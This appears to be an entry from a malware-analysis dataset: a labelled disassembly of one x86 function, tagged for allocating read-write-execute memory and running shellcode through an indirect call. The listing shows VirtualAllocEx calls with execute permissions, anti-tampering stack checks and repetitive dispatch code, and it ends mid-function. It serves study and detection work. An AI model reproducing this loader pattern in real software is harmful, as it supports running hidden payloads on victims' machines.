Function at 0x10005afa
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
call fcn.1000a2a1
mov dword [0x10058417], 0x98a067
mov dword [ebp - 4], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x10005b31
push 6
call fcn.10032d6c
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push 0x64
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005b6a
push 6
call fcn.10032d6c
add esp, 4
mov dword [0x1005841b], eax
push dword [0x10058417]
call fcn.1000c80d
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push dword [0x1005841b]
call fcn.1000c874
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 0x12c
call fcn.1000c43a
mov dword [ebp - 4], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x10005bcc
push 6
call fcn.10032d6c
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push 0x64
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005c05
push 6
call fcn.10032d6c
add esp, 4
mov dword [0x1005841f], eax
push 0x98b05a
call fcn.1000c80d
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push dword [0x1005841f]
call fcn.1000c874
push 0xa0000101
push 0
push 0x100555ab
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x100555c1
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100583fb]
push dword [ebp - 8]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10005c9c
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000320e
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10005cbc
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10005ccc
push ebx
call fcn.10032d78
add esp, 4
mov dword [ebp - 0x14], 0
push 0
push dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
call fcn.100034ee
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10005cf4
push ebx
call fcn.10032d78
add esp, 4
push 1
push dword [ebp - 0x18]
push 0x10058423
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov dword [0x10058427], 0x12db21a
call fcn.1000ca41
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x70
push 0x100151c5
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x72
push 0x10015aac
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x73
push 0x10017637
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x74
push 0x10018795
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x75
push 0x1001a4fa
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x76
push 0x1001b059
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x77
push 0x1001b3d8
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0xc0
push 0x1001c4ef
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x79
push 0x10031aba
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x56
push 0x10031ac6
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 0x42
push 0x10031efc
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 1
push 0x26
push 0x10031f08
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 1
push 0x28
push 0x10031f14
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 1
push 0x25
push 0x10031f20
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 1
push 0x27
push 0x10031f2c
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 2
push 0x26
push 0x10031f38
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 2
push 0x28
push 0x10031f44
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 2
push 0x25
push 0x10031f50
call fcn.10004d62
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 2
push 0x27
push 0x10031f5c
call fcn.10004d62
push 0xa0000101
push 0
push 0x100555cc
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x100555da
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100583fb]
push dword [ebp - 8]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000603f
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000320e
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000605f
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1000606f
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100555e5
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x100555f5
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100583fb]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100060da
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1000320e
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100060fa
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1000610a
push ebx
call fcn.10032d78
add esp, 4
push dword [ebp - 0x20]
push dword [0x1005842b]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100014f8
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10006136
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10006146
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055600
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x10055618
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100583fb]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x100061b1
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000320e
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x100061d1
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100061e1
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055623
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x10055637
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100583fb]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000624c
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.1000320e
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000626c
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x1000627c
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000301
push 0
push 0x10055423
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x10055642
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100583fb]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100062e7
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.1000320e
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10006307
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10006317
push ebx
call fcn.10032d78
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x1000632a
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1000633e
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10006352
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10006366
mov eax, 0x1005537c
push eax
push 4
mov ebx, 0x8c8
call fcn.100334d0
add esp, 0x34
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1000638c
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000639c
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100063ac
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100063bc
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000301
push 0
push 0x10055423
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x5c], eax
push 0xa0000101
push 0
push 0x1005564d
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x60], eax
push dword [0x100583fb]
push dword [ebp - 0x60]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10006427
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.1000320e
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10006447
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x10006457
push ebx
call fcn.10032d78
add esp, 4
mov eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x58]
call fcn.100019af
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10006484
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10006494
push ebx
call fcn.10032d78
add esp, 4
cmp dword [ebp - 0x6c], 0
je 0x10006883
push 0xa0000101
push 0
push 0x10055658
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x10055666
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100583fb]
push dword [ebp - 8]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10006509
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000320e
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10006529
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10006539
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055671
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x10055681
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100583fb]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100065a4
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1000320e
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100065c4
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100065d4
push ebx
call fcn.10032d78
add esp, 4
push dword [ebp - 0x20]
push dword [0x1005842b]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100014f8
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10006600
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10006610
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x1005568c
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x100556a4
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100583fb]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x1000667b
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000320e
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000669b
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100066ab
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100556ae
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x100556c2
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100583fb]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10006716
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.1000320e
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10006736
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10006746
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100556cd
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x100556d9
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100583fb]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100067b1
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.1000320e
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100067d1
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100067e1
push ebx
call fcn.10032d78
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x100067f4
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10006808
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000681c
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10006830
mov eax, 0x1005537c
push eax
push 4
mov ebx, 0x8cc
call fcn.10034870
add esp, 0x34
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10006853
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10006863
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10006873
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10006883
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100556e4
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x100556f2
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100583fb]
push dword [ebp - 8]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x100068ee
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000320e
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000690e
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1000691e
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100556fd
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x1005570d
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100583fb]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10006989
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1000320e
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100069a9
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100069b9
push ebx
call fcn.10032d78
add esp, 4
push dword [ebp - 0x20]
push dword [0x1005842b]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100014f8
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100069e5
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100069f5
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055718
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x10055730
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100583fb]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10006a60
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000320e
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10006a80
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10006a90
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x1005573b
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x10055753
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100583fb]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10006afb
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.1000320e
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10006b1b
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10006b2b
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000301
push 0
push 0x10055423
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x1005575e
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100583fb]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10006b96
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.1000320e
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10006bb6
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10006bc6
push ebx
call fcn.10032d78
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x10006bd9
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10006bed
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10006c01
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10006c15
mov eax, 0x1005537c
push eax
push 4
mov ebx, 0x8c8
call fcn.100334d0
add esp, 0x34
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10006c3b
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10006c4b
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10006c5b
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10006c6b
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000301
push 0
push 0x10055423
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x5c], eax
push 0xa0000101
push 0
push 0x10055769
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x60], eax
push dword [0x100583fb]
push dword [ebp - 0x60]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10006cd6
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.1000320e
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10006cf6
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x10006d06
push ebx
call fcn.10032d78
add esp, 4
mov eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x58]
call fcn.100019af
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10006d33
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10006d43
push ebx
call fcn.10032d78
add esp, 4
cmp dword [ebp - 0x6c], 0
je 0x10007132
push 0xa0000101
push 0
push 0x10055774
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x10055782
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100583fb]
push dword [ebp - 8]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10006db8
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000320e
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10006dd8
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10006de8
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x1005578d
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x1005579d
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100583fb]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10006e53
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1000320e
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10006e73
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10006e83
push ebx
call fcn.10032d78
add esp, 4
push dword [ebp - 0x20]
push dword [0x1005842b]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100014f8
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10006eaf
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10006ebf
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100557a8
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x100557c0
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100583fb]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10006f2a
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
